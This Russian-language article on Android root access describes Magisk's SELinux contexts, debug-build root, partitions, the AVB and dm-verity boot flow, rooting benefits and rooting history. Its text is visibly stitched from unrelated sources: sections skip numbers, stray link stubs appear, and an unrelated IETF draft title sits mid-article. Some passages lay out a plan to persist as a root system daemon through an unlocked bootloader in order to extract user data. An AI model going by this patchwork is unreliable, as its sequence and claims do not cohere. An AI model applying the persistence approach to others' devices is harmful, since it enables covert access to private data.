Возможности при root правах

Возможности при root правах Техника

Нелегальные root-права и magisk

Я назвал предыдущий подход к получению root-прав «легальным», потому что всё необходимое для этого было намеренно заложено в систему на этапе сборки. Совершенно иной подход использует инструмент для получения root-прав magisk, ставший, де-факто, стандартным инструментом для этих целей в сообществе любителей android. Magisk устанавливается на любые устройства, на любые сборки, на любые версии android, и не только на отладочные варианты сборки, но и на релизные, и даже на те устройства, на которых применяются дополнительные защиты от несанкционированного получения root-прав. Magisk по полной эксплуатирует разблокированный загрузчик и, по сути, совершает настоящий изощрённый взлом за что и будем его называть его «нелегальным». Для нас наиболее важно то, что magisk, по сути, делает всё тоже что хотим сейчас сделать мы. Он закрепляется в системе также, как хотим закрепиться мы, а значит, похоже, что нам с ним по пути.

Для начала постараемся выяснить как magisk получает root-права в рантайме. На устройстве выполняем:

$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:magisk:s0
# ps -Zef
LABEL                          UID            PID  PPID C STIME TTY          TIME CMD
u:r:init:s0                    root             1     0 1 09:17 ?        00:00:01 init
u:r:magisk:s0                  root           658     1 0 09:24 ?        00:00:00 magiskd
u:r:zygote:s0                  root           695     1 1 09:24 ?        00:00:01 zygote64
u:r:zygote:s0                  root           696     1 0 09:24 ?        00:00:00 zygote
u:r:adbd:s0                    shell          956     1 1 09:25 ?        00:00:01 adbd --root_seclabel=u:r:su:s0
u:r:platform_app:s0:c512,c768  u0_a39        2800   695 4 09:35 ?        00:00:07 com.android.systemui
u:r:priv_app:s0:c512,c768      u0_a120       3909   695 1 10:26 ?        00:00:01 com.android.launcher3
u:r:untrusted_app:s0:c113,c25+ u0_a113       5218   695 1 10:48 ?        00:00:00 com.topjohnwu.magisk
u:r:shell:s0                   shell         5473   956 0 10:56 pts/0    00:00:00 sh -
u:r:magisk_client:s0           shell         5602  5473 0 10:59 pts/0    00:00:00 su
u:r:magisk_client:s0:c113,c25+ u0_a113       5629  5218 0 10:59 ?        00:00:00 su --mount-master
u:r:magisk:s0                  root          5633   658 0 10:59 ?        00:00:00 busybox sh
u:r:magisk:s0                  root          5708   658 0 11:02 pts/1    00:00:00 sh
u:r:magisk:s0                  root          5795  5708 7 12:49 pts/1    00:00:00 ps -Zef

Я сократил вывод команды ps только до тех значений, которые нас интересуют.

Во-первых, мы видим что magisk имеет специальный контекст для своих процессов — u:r:magisk:s0. Наша оболочка с root-правами имеет терминал pts/1 и запущена с этим контекстом. Это явно не встроенный в систему контекст, а значит magisk смог его отредактировать и внедрить дополнительные правила перед запуском процесса init. Поскольку, наши root-права работают, и мы действительно можем делать в системе всё что угодно, контекст u:r:magisk:s0 должен иметь как минимум все те же разрешения, которые прописаны для u:r:su:s0, а может и больше.

Во-вторых, magisk имеет свой демон запущенный в системе – magiskd, он породил наш процесс с рутовым шеллом, а значит именно через него magisk и даёт другим процессам доступ с оболочке с root-правами, этот демон (PID 658) порождён процессом init (PPID 1), т.е. запущен как системный сервис. Демон также работает в контексте u:r:magisk:s0.

Мы подключились по adb и получили шелл на устройстве, терминал pts/0. Видно что процесс sh имеет контекст u:r:shell:s0, PID 5473 и PPID 956 который равен значению PID adbd, а сам adbd уже был порождён процессом init.

Мы вызываем исполняемый файл su и видим что его контекст – u:r:magisk_client:s0, следовательно magisk использует отдельный контекст для того, чтобы знать какие именно исполняемые файлы могут запрашивать доступ к root-правам. Исполняемый файл провоцирует открытие окна подтверждения доступа к root-правам для обычного shell, оно находится в пакете приложения MagiskManager — com.topjohnwu.magisk, получив результатат magiskd (PID 658) породил нам нашу оболочку sh с новым терминалом pts/1 (PID 5708, PPID 658), от которой мы отнаследовали и пользователя root (uid=0), и всемогущий контекст u:r:magisk:s0. 

Для нас интересно вот что: если init запускается со своим ограниченным со всех сторон контекстом u:r:init:s0 из которого разрешены transition’ы только в прописанные в *.te файлах контексты для системных служб, а демон маджиска имеет контекст u:r:magisk:s0, значит magisk смог внедрить правило разрешающее прямой transition из u:r:init:s0 в u:r:magisk:s0. Это значит что и мы можем использовать контекст u:r:magisk:s0 в своём сервисе!

Причина #1. Bloatware

Практически все устройства на базе Android поставляются с огромным количеством предустановленных приложений. Так, в прошивках HTC в каталогах /system/app и /system/priv-app находится около 400 пакетов, и это не только языковые пакеты и компоненты сервисов самой компании, но и приложения Google, которая требует, чтобы смартфон с предустановленным Google Play Market также содержал и несколько десятков других приложений компании (Gmail, Google Drive, Google Keep и другие).

При достаточном объеме встроенной памяти это может показаться не слишком серьезной проблемой, однако многие из этих приложений не просто установлены и «спокойно лежат» в своих каталогах, а стартуют при загрузке системы, могут будить устройство с помощью AlarmManager (служба, собирающая статистику, например) и просыпаться в ответ на системные события (ты установил сторонний диалер, а встроенный все равно просыпается при звонке). Так что прощай, заряд батареи и свободная оперативка.

Имея права root, удалить «блоат» очень просто. Для этого есть множество приложений, которые легко найти в маркете по запросу «system app remover». Придется, конечно, разобраться, какие приложения можно удалять, а какие лучше оставить, но эту информацию легко найти на форумах, в том числе русскоязычных.

Первый попавшийся System app remover
Первый попавшийся System app remover

Причина #4. Реклама

Но если у тебя есть root, проблема решается очень просто, причем раз и навсегда, на уровне всей системы. Достаточно установить AdAway, нажать кнопку «Загрузка файлов и применение блокировки рекламы» и перезагрузиться. В дополнение к полному избавлению от рекламы ты получишь сокращение потребления трафика, так как хосты, раздающие рекламу, жестко блокируются на самом низком уровне (если быть точным, они просто перенаправляются на localhost с помощью файла /system/etc/hosts).

AdAway
AdAway

Как устроено хранилище

Если мы посмотрим на структуру разделов на хранилище смартфона, то увидим что их на устройстве довольно много. 

# ls -la /dev/block/by-name                                                                                                                                    
total 0
drwxr-xr-x 2 root root 1480 1973-02-10 03:40 .
drwxr-xr-x 4 root root 2160 1973-02-10 03:40 ..
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 LOGO -> /dev/block/sde18
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 abl -> /dev/block/sde16
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 ablbak -> /dev/block/sde17
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 apdp -> /dev/block/sde31
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 bluetooth -> /dev/block/sde24
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 boot -> /dev/block/sde19
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 boot_aging -> /dev/block/sde20
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 cache -> /dev/block/sda3
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 cdt -> /dev/block/sdd2
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlib -> /dev/block/sde27
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlib64 -> /dev/block/sde29
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlib64bak -> /dev/block/sde30
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlibbak -> /dev/block/sde28
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 config -> /dev/block/sda12
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 ddr -> /dev/block/sdd3
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 devcfg -> /dev/block/sde39
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 devinfo -> /dev/block/sde23
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 dip -> /dev/block/sde14
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 dpo -> /dev/block/sde33
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 dsp -> /dev/block/sde11
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 frp -> /dev/block/sda6
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 fsc -> /dev/block/sdf4
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 fsg -> /dev/block/sdf3
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_4g9n4 -> /dev/block/sde45
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_4j1ed -> /dev/block/sde43
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_4t0n8 -> /dev/block/sde46
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_8v1ee -> /dev/block/sde44
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 hyp -> /dev/block/sde5
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 hypbak -> /dev/block/sde6
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 keymaster -> /dev/block/sde25
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 keymasterbak -> /dev/block/sde26
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 keystore -> /dev/block/sda5
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 limits -> /dev/block/sde35
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 logdump -> /dev/block/sde40
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 logfs -> /dev/block/sde37
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 md5 -> /dev/block/sdf5
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 mdtp -> /dev/block/sde15
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 mdtpsecapp -> /dev/block/sde12
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 mdtpsecappbak -> /dev/block/sde13
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 minidump -> /dev/block/sde47
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 misc -> /dev/block/sda4
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 modem -> /dev/block/sde10
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 modemst1 -> /dev/block/sdf1
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 modemst2 -> /dev/block/sdf2
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 msadp -> /dev/block/sde32
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 oem_dycnvbk -> /dev/block/sda7
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 oem_stanvbk -> /dev/block/sda8
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 param -> /dev/block/sda9
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 persist -> /dev/block/sda2
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 pmic -> /dev/block/sde8
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 pmicbak -> /dev/block/sde9
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 recovery -> /dev/block/sde22
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 reserve -> /dev/block/sdd1
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 reserve1 -> /dev/block/sda10
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 reserve2 -> /dev/block/sda11
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 reserve3 -> /dev/block/sdf7
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 rpm -> /dev/block/sde1
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 rpmbak -> /dev/block/sde2
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 sec -> /dev/block/sde7
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 splash -> /dev/block/sde34
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 ssd -> /dev/block/sda1
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 sti -> /dev/block/sde38
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 storsec -> /dev/block/sde41
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 storsecbak -> /dev/block/sde42
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 system -> /dev/block/sde21
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 toolsfv -> /dev/block/sde36
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 tz -> /dev/block/sde3
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 tzbak -> /dev/block/sde4
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 userdata -> /dev/block/sda13
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 vendor -> /dev/block/sdf6
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 xbl -> /dev/block/sdb1
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 xblbak -> /dev/block/sdc1

Большинство из них небольшие, и содержат, например, логотип производителя девайса, который отображается сразу после подачи питания на плату устройства. Есть раздел содержащий прошивку, работающую на baseband процессоре и отвечающую за мобильную связь, звонки и интернет по стандартам 2G, 3G, LTE и т.д. Есть разделы содержащие BLOBы необходимые для работы с некоторыми устройствами. Нас будет интересовать всего несколько разделов, содержание которых монтируется в файловую систему и напрямую используется во время работы ОС:

  • Раздел boot содержит ядро операционной системы. 

  • Раздел system содержит саму операционную систему, все её исполняемые файлы, неизменяемые конфиги, системные библиотеки, android-фреймворк и другие jar файлы необходимые для работы виртуальной машины, в которой исполняются android приложения. Начиная с android 10 на многих устройствах вместо обычного system раздела используется раздел system-as-root, он отличается точкой монтирования, но его суть та же – он содержит файлы ОС.

  • Раздел vendor содержит проприетарные компоненты ОС от производителя устройства. Например, драйвера Qualcomm и т д

Данные приложений, «internal storage», находятся по пути /data/data. В этой директории сложены директории-песочницы отдельных приложений, соответствующие их полным именам пакетов. Например:

drwx------   8 u0_a69         u0_a69          4096 2021-01-29 13:31 com.google.android.youtube

Общее хранилище, «external storage», находится по пути /data/media/0, внешние SD-карты соответственно будут называться /data/media/1. Во время работы оно линкуется в /storage.

Преимущества получения рут-прав на Android смартфонах и планшетах

Права администратора открывают нам новые горизонты к кастомизации и тотальной настройки гаджета, и более того, помогает вам стать более опытным в работе со смартфоном. Ниже мы представляем вам список преимуществ с их подробным объяснением.

Дополнительно:  Draft-ietf-dnsop-ohta-shared-root-server-test-00

1. Вы сможете сделать полное резервное копирование файлов на своем устройстве (сделать полный бекап всего устройства)

Возможности при root правах

Начнем с самого огромного преимущества получения рут-прав: лучшие бекапы. С рутированным устройством, вы скорее всего, захотите перенастроить всю систему, установить пользовательский ROM или приложения, которые требуют рут-права. Поскольку вы будете изменять систему в корни, очень полезно иметь резервную копию приложений, пользовательских данных или даже целой системы. И более того, никогда не помешает иметь полный бекап, так как вы случайно можете удалить важный системный файл.

Наиболее популярным приложением для резервного копирования системы и отдельных файлов является Titanium Backup. Хоть и Pro версия стоит около 7 долларов, программа этого заслуживает. Приложение поможет вам сделать резервную копию всех ваших установленных программ и системных данных.

Еще один способ сделать бекап вашего девайса называется «Nandroid» backup.Восстановление системы при таком резервном копировании очень похоже на восстановление ОС Windows в точном состоянии на момент последнего сделанного системного бекапа. Так что если ваш гаджет перестал работать корректно, программы перестают отвечать и загружаться, то «Nandroid» backup вернет вас точно в ту точку, когда было сделано резервное копирование. Это обезопасит вас, если к примеру вы захотите поставить другую прошивку или ядро, и что-то пойдет не так, то вы просто используете «Nandroid» backup чтобы исправить ситуацию.

2. Вы сможете автоматизировать все

Возможности при root правах

Если речь заходит об автоматизации, то Tasker — это одно и единственное нужное приложение. С ним вы сможете автоматизировать ну просто все. Программа также работает на устройствах без рута, но с меньшими возможностями и опциями.

Приложение имеет точно такую же философию, как онлайн-инструмент «If This Then That» (IFTTT), но работает более сложным способом. Например, вы можете выключать/включать WiFi каждый раз, когда вы приходите домой или уходите куда-то, или же включать Bluetooth и Google Maps когда вы подключаете свой гаджет к автомобильной док-станции. И это только цветочки.

3. Вы сможете следить за устройством, даже если кто-то сделает «factory reset»

Возможности при root правах

Потеря смартфона или планшета — это всегда большие проблемы. Тем более, если устройство было не утеряно, а украдено. Конечно, предотвратить похищение невозможно, но вы сможете отслеживать свой телефон даже без установки специального приложения против кражи («анти-похищение»), тем более что они заметные на устройстве. Это значит, что воришка сможет просто удалить приложение или сделать «factory reset».

Когда вы имеете рут-права, у вас есть возможность установить приложение для слежки за смартфоном, такое как Cerberus. При этом программа устанавливается в корни системы. Таким образом эта программа выживет даже после полного сброса устройства до заводских настроек. Также можно установить замаскированную версию приложения, так что оно будет скрыто в «приложениях».

4. У вас есть возможность поставить на свой смартфон пользовательские (модифицированные) версии Android, которые называются кастомными прошивками

Возможности при root правах

Как понятно из названия, кастомная прошивка — это адаптированная и настроенная версия Андроида. Она, зачастую, имеет уникальные черты и улучшения, которые вы никогда не получите на стандартной версии этой ОС. Наиболее популярные кастомные прошивки — CyanogenMod, Paranoid Android и AOKP. Это только пару примеров, а их есть намного больше. Если вы хотите получить более гибкую и понятную систему, стабильную роботу, большую производительность и долгую жизнь батареи, тогда вам просто нужно перепробовать все эти прошивки и выбрать для себя наилучшую, подходящую под все ваши требования и желания.

5. Вы можете использовать «Xposed Framework» для настройки своего устройства

Возможности при root правах

Xposed — это основа для всех доступных графических модулей, которая позволяет вам настроить внешний вид системы. То есть, вы можете получить все те настройки и особенности работы, которые есть на кастомных прошивках, но для этого вам не нужно ставить такую прошивку. Достаточно настроить стоковую с «Xposed Framework». Также этот фреймворк подойдет, если вы не хотите ставить целую прошивку, потому что нуждаетесь в настройке только нескольких отдельных функций. Вам достаточно будет установить определенный модуль. Более того, фреймворк просто установить на телефон или планшет. Кроме этого, он работает и на кастомных прошивках.

6. Вы можете увеличить производительность системы и повысить длительность работы батареи

Возможности при root правах

С правами суперпользователя, у вас есть возможность изменить частоту процессора на своем устройстве. Разгон процессора (overclocking CPU) даст вам большую производительность, тогда как обратная операция (underclocking CPU) повысит время работы батареи. Протестируйте приложение SetCPU, которое доступно на Google Play за 2 доллара. Это отличная программа, которая имеет много полезных функций, например создать пару CPU-профилей, которые переключаются в автоматическом режиме в зависимости от установленных условий.

7. Попрощайтесь с рекламой

Возможности при root правах

  • Как получить root-права на Galaxy S5
  • Получаем Root-права для Samsung Galaxy S4

Если получить рут-права корректно, то это не рискованное дело, и конечно, получение прав администратора имеет большое количество преимуществ в сравнении с нерутированными гаджетами. Cтоковая прошивка, или стандартный андроид — это очень хорошая система, но иметь неограниченное количество возможностей в настройке — это намного лучше. В этой статье мы только немного прояснили вам суть такого понятие как root-права, но мы надеемся что вы осознали весь потенциал вашего устройства после их получения.

Легальные root-права и LineageOS

  • eng – это полностью отладочный вариант сборки, помимо легального root-доступа и отладочной информации в такой сборке присутствуют дополнительные инструменты для диагностики, поиска проблем, профилирования и отладки прямо на устройстве.

На отладочных типах сборок отсутствует исполняемый файл su, а получение легального root-доступа на них осуществляется с помощью перезапуска демона adbd с помощью команды adb root. Технически это реализовано в виде простого условия в коде adb. При запуске демон adb всегда стартует от root, но в определённый момент дропает свои привилегии до shell. На нерелизных сборках получив команду adb root он не понижает свои привилегии до shell, а пользователь получает возможность полноценно работать от пользователя root. Специально для того, чтобы adb мог таким образом предоставить полноценный доступ к системе существует специальный контекст u:r:su:s0, который собирается и включается в политики если сборка не является релизной. Он до конца разрешает процессу adb всё что в обычном случае было бы запрещено SELinux.

$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ ^D
$ adb root
restarting adbd as root
$ adb shell
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0

Похожим образом «легально» root-права получает addonsu, который поставлялся вместе с LineageOS до версии 16 включительно (сейчас он deprecated). Он использует подход с записью исполняемого файла su в директорию /system/bin в разделе system, а также с демоном, который обладает заготовленным контекстом SELinux и может запускаться и останавливаться в зависимости от настроек системы и предоставлять доступ к оболочке с правами root если это разрешит делать пользователь. Тем не менее, с технической точки зрения, подход используется тот же самый. Разработчики LineageOS специально закладывают в исходный код правила для addonsu, они не знают, будет ли владелец пользоваться им или нет, но если всё-таки будет, то файлу su будут нужны эти политики, поэтому их вносят в *.te файлы в исходный код.

$ adb shell
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:sudaemon:s0
$ adb root
adbd cannot run as root in production builds

Мы не можем полагаться на то, что телефон с разблокированным загрузчиком будет и содержать LineageOS, и иметь включённый режим adb, к тому же контексту u:r:init:s0 запрещён transition в контекст u:r:su:s0, поэтому закрепиться в качестве системного демона подобным образом всё равно не получится, а значит для извлечения данных нам необходимо воспользоваться другим подходом.

Что же плохого происходит когда загрузчик разблокируется?

Загрузка системы начинается с загрузчика. Загрузчик – это небольшой бинарный компонент, который запускается непосредственно чипсетом и отвечает за загрузку и запуск ядра. Если в настольных дистрибутивах linux мы привыкли в основном к загрузчику grub, то на android смартфонах у нас загрузчиком является aboot. Процесс загрузки происходит следующим образом:

  • На плату устройства подаётся питание

  • Выполняется первичный загрузчик (primary bootloader, PBL). Он хранится в ПЗУ чипа. Он производит инициализацию памяти некоторого минимального набора для работы с железом, например с физическими кнопками устройства и партициями.

  • Далее исполняется aboot. Он собирает информацию для того, чтобы понять что и как именно нужно запустить. На этом этапе он смотрит на флаги записанные в специальной памяти, на зажатые физические кнопки, и принимает решение в каком режиме продолжить загрузку системы: в штатном режиме, в режиме восстановления (recovery), в режиме прошивки (fastboot). Загрузчик может также загружать другие специальные режимы, которые зависят от конкретного чипа или устройства, например EDL на чипах Qualcomm который используется для экстренного восстановления устройства путём загрузки прошивки образа подписанного ключами Qualcomm публичная часть которых зашита внутрь чипа. Мы будем рассматривать штатный процесс загрузки.

  • Некоторые устройства используют механизм seamless updates, его также называют A/B partitions. В этом случае загрузчик обязан выбрать правильный текущий слот для загрузки. Суть этого механизма в том что некоторые разделы представлены в двух экземплярах, например вместо обычного /system на устройстве будут /system_a и /system_b, вместо /vendor — /vendor_a и vendor_b. Цель этого — более быстрые и защищённые от окирпичивания устройства обновления системы, т.е. например вы загружены в систему используя слот A, вы собираетесь обновить устройство, выбираете соответсвующий пункт в настройках и продолжаете спокойно работать с системой. Пакет обновления скачивается, но вместо перезагрузки в специальный режим обновления и ожидания прошивки, оно сразу шьётся, но не на запущенную систему (это и не получится сделать) а в разделы второго слота B: /system_b, /vendor_b и, если необходимо, в другие. После прошивки система отмечает флаги что следующая загрузка системы должна быть штатной и должна использовать слот B и предлагает перезагрузиться. Вы перезагружаете устройство, загрузчик выбирает слот B и продолжает загрузку, всего через несколько секунд ожидания ваша новая ОС загружена, отмечаются флаги что загрузка прошла успешно, текущий образ системы работает, с ним всё хорошо, а значит можно продублировать текущую систему во второй слот. В случае если загрузка не закончится успехом, то система не поставит флаги об успехе и загрузчик поймёт что новая система не работает, нужно загрузиться в старый слот, повреждённое обновление на него не накачено и вы продолжите работать с устройством как ни в чём не бывало.

  • Продолжается штатная загрузка. Загрузчик ищет в подключённых устройствах раздел /boot. Этот раздел содержит две необходимые для запуска системы составляющие: ядро ОС — kernel, и начальный образ файловой системы — initramfs (в android он практически везде называется ramdisk и я далее буду называть его именно так). Вот здесь начинают работать механизмы защиты ОС от модификации или наоборот, их работа отключается в том случае если наш загрузчик был разблокирован. При загрузке считается хэш сумма данных содержащихся в /boot разделе и сравнивается с эталонным хэшом который рассчитан и подписан приватным ключом производителя устройства в момент сборки системы, эта подпись должна быть успешно верифицирована AVB ключом хранящимся в TEE. В случае разблокированного загрузчика этой проверки не производится, т.е. система будет запускать любые ядро и ramdisk, даже если они не подписаны производителем устройства.

  • Механизмы защиты продолжают работу. Далее проверяется что целостность загружаемого раздела с системой также не нарушена. Ramdisk хранит публичный ключ verity_key, приватной частью которого подписан корневой хэш в таблице dm-verity хешей для системного раздела. Осуществляется проверка подписи после чего происходит переход к загрузке системы. Если загрузчик нашего устройства разблокирован, то эта проверка также пропускается.

Таблица хэшей dm-verity
Таблица хэшей dm-verity

Весь этот процесс называется boot flow и отлично проиллюстрирован здесь:

Boot flow
Boot flow

У загрузки с avb может быть 4 конечных состояния, условно обозначаемых цветами:

  • green state — загрузчик заблокирован, используется embedded root of trust, т.е. публичный ключ avb поставляется в аппаратном TEE. Целостность ядра и системы не нарушена. Никаких сообщений пользователю не показывается. Система загружается. Так происходит всегда когда мы пользуемся обычным, не модифицированным устройством.

  • orange state — загрузчик разблокирован, root of trust игнорируется. Целостность ядра и системы не проверяется. Пользователю на 10 секунд показывается большой оранжевый предупреждающий знак и сообщается что целостность разделов устройства не проверяется, и система может быть модифицирована. После этого система загружается. Так происходит на устройствах с установленными root-правами или альтернативной сборкой ОС, именно этот случай нас интересует.

  • red state — загрузчик заблокирован, используется любой root of trust, целостность системы нарушена при заблокированном загрузчике, либо система повреждена (что для dm-verity в общем-то одно и тоже, как описано в документации). Пользователю показывается сообщение о том, что система повреждена. Система не загружается.

Дополнительно:  Изменить права на root linux

Задача механизмов avb и dm-verity убедиться в том, что загружаемые ядро и система не были изменены и дошли до устройства пользователя в таком виде в каком их выпустил производитель устройства. Если пользователь решил установить root-права или альтернативную сборку ОС, то он неминуемо нарушит хэши партиций и чтобы система могла продолжить работу а не уходила сразу в «красное состояние» в котором откажется загружаться, ему придётся разблокировать загрузчик и с точки зрения avb перевести устройство в «оранжевое состояние» где android будет закрывать глаза на модификации системы. Этим пользуются и инструменты для получения root, и сторонние сборки, этим могут воспользоваться и злоумышленники, этим воспользуемся и мы. 

Логическим следствием перехода в «оранжевое состояние» и отключения avb является возможность загружать образы с ядром не подписанные производителем устройства. Среди любителей модифицировать android самым популярным проектом такого рода является «Team Win Recovery Project» или просто TWRP. TWRP позволяет делать с устройством практически всё, в частности монтировать и модифицировать любые разделы не загружаясь в саму систему непосредственно. Именно эта возможность нам будет нужна для нашей задачи, но для начала надо разобраться с тем, как именно данные пользователя хранятся на устройстве.

Как проверить, что права root получены?

  1. Возможно (но не обязательно) появление в списке программ приложения под названием Superuser или SuperSU
  2. При запуске программ, требующих привилегий root, будет всплывать соответствующий запрос
  3. Программы, которые ранее не работали, ссылаясь на недостаток прав, теперь полностью функциональны
  4. В эмуляторе терминала при вводе команды su появляется приглашение в виде решетки: #
  5. Этот способ проверки зависит от метода получения root-прав (например, при использовании Universal Androot этот способ проверки неприемлем). В эмуляторе терминала наберите команду «/system/bin/id»[Enter]. Если в ответ вы получите «uid=0(root) gid=0(root)», то вы добились желаемого.

С развитием альтернативных прошивок, таких как CyanogenMod, MIUI и других, производители пересмотрели свою позицию по рутингу и установке неофициальных прошивок. Они либо поставляют устройства с разблокированным загрузчиком либо предоставляют возможность его разблокировки пользователем. Помимо этого, в CyanogenMod и некоторых других кастомных прошивках имеются по умолчанию все функции root-профиля.

Преимущества и недостатки рутинга

  • Получение информации, которая недоступна с правами обычного пользователя.
  • Блокирование рекламы и, соответственно, экономия трафика.
  • Контроль действий приложений.
  • Установка системных приложений, которым необходимы права root.
  • Замена и удаление стандартных программ.
  • Разгон или снижение частоты работы процессора.
  • Перенос данных и создание резервных копий приложений.
  • Потеря гарантии производителя (не для всех устройств).
  • Потеря обновления «по воздуху» (OTA) (не для всех прошивок).
  • Отключение системы защиты телефона от вредоносного ПО и несанкционированного доступа (не для всех устройств).
  • Существует вероятность сделать устройство полностью неработоспособным.
  • На большинстве смартфонов без разблокировки загрузчика получение прав суперпользователя невозможно.
  • Лишение доступа к приложениям с защитой от Root-прав, если Root не замаскирован.

Преимущества Root

В первую очередь, получение Root дает возможность удалять стандартные приложения, навязываемые производителями устройств, менять темы и ярлыки, а так же запускать специализированные приложения, существенно расширяющие возможности смартфона (обычно такие приложения требуют Root-прав). Кроме того, появляется возможность изменять системные файлы (Recovery image, Bootloader или изображения, выводимые при загрузке), запускать исполняемые файлы Linux, устанавливать приложения на карту памяти или переносить на нее кэш программ. В отдельных случаях после модификаций ОС, доступных только после получения Root-прав, возможно даже добиться небольшого, но все же увеличения производительности времени автономной работы.

Немного истории

Обладатели ранних версий Android обычно получали права root с использованием какой-либо уязвимости в системе безопасности Android или одного из системных приложений, установленных производителем. Использование уязвимостей позволяло приложению «вырваться» из песочницы и получить права системного процесса через эскалацию привилегий.

Чтобы не повторять процесс каждый раз и чтобы предоставить возможность и другим приложениям использовать права суперпользователя, в системный раздел помещали файл su (как правило, в каталоге /system/xbin/) и приложение для обработки запросов прав root (в /system/app/). Чтобы получить права root, приложение запускало su, в этот момент срабатывал менеджер обработки запросов и запрашивал у пользователя подтверждение.

Такая схема прекрасно работала во всех версиях Android вплоть до пятой, а добытый с ее помощью root-доступ чаще всего не мешал получать обновления прошивок и даже иногда сохранялся после таких обновлений. Популярностью пользовались многочисленные приложения, эксплуатировавшие одну или несколько уязвимостей (например, Towelroot). Со временем большую аудиторию набрали китайские приложения KingRoot и Kingo Root, включавшие в себя большие коллекции эксплоитов, которые скачивались непосредственно в момент запуска с китайских серверов. В случае успешной эскалации привилегий эти приложения прописывали в системный раздел много интересного; удалить их можно было либо вместе с root-доступом, либо с помощью специального «чистильщика», сделанного разработчиком SuperSU Chainfire.

В Android 5.0 была введена новая система обновлений. Теперь в файле OTA изменения прописывались не на файловом, а на блочном уровне; чтобы не повредить файловую систему, инсталлятор обновления подсчитывал контрольную сумму системного раздела. Естественно, записанный в раздел /system файл su изменял контрольную сумму раздела, и обновление не устанавливалось (а в тех случаях, когда оно все-таки ставилось, был высокий шанс получить на выходе «кирпич»).

Шестая версия Android принесла и обновленную систему безопасности, которая (временно) сделала невозможным получение прав суперпользователя простой записью приложения в системный раздел. В результате появился обходной путь — так называемый systemless root, внедряющий su в ramdisk вместо модификации системного раздела. На некоторых устройствах с «бессистемным» root-доступом даже получалось устанавливать OTA-обновления; впрочем, гарантии тут никакой.

Как был получен root на HTC Dream G1

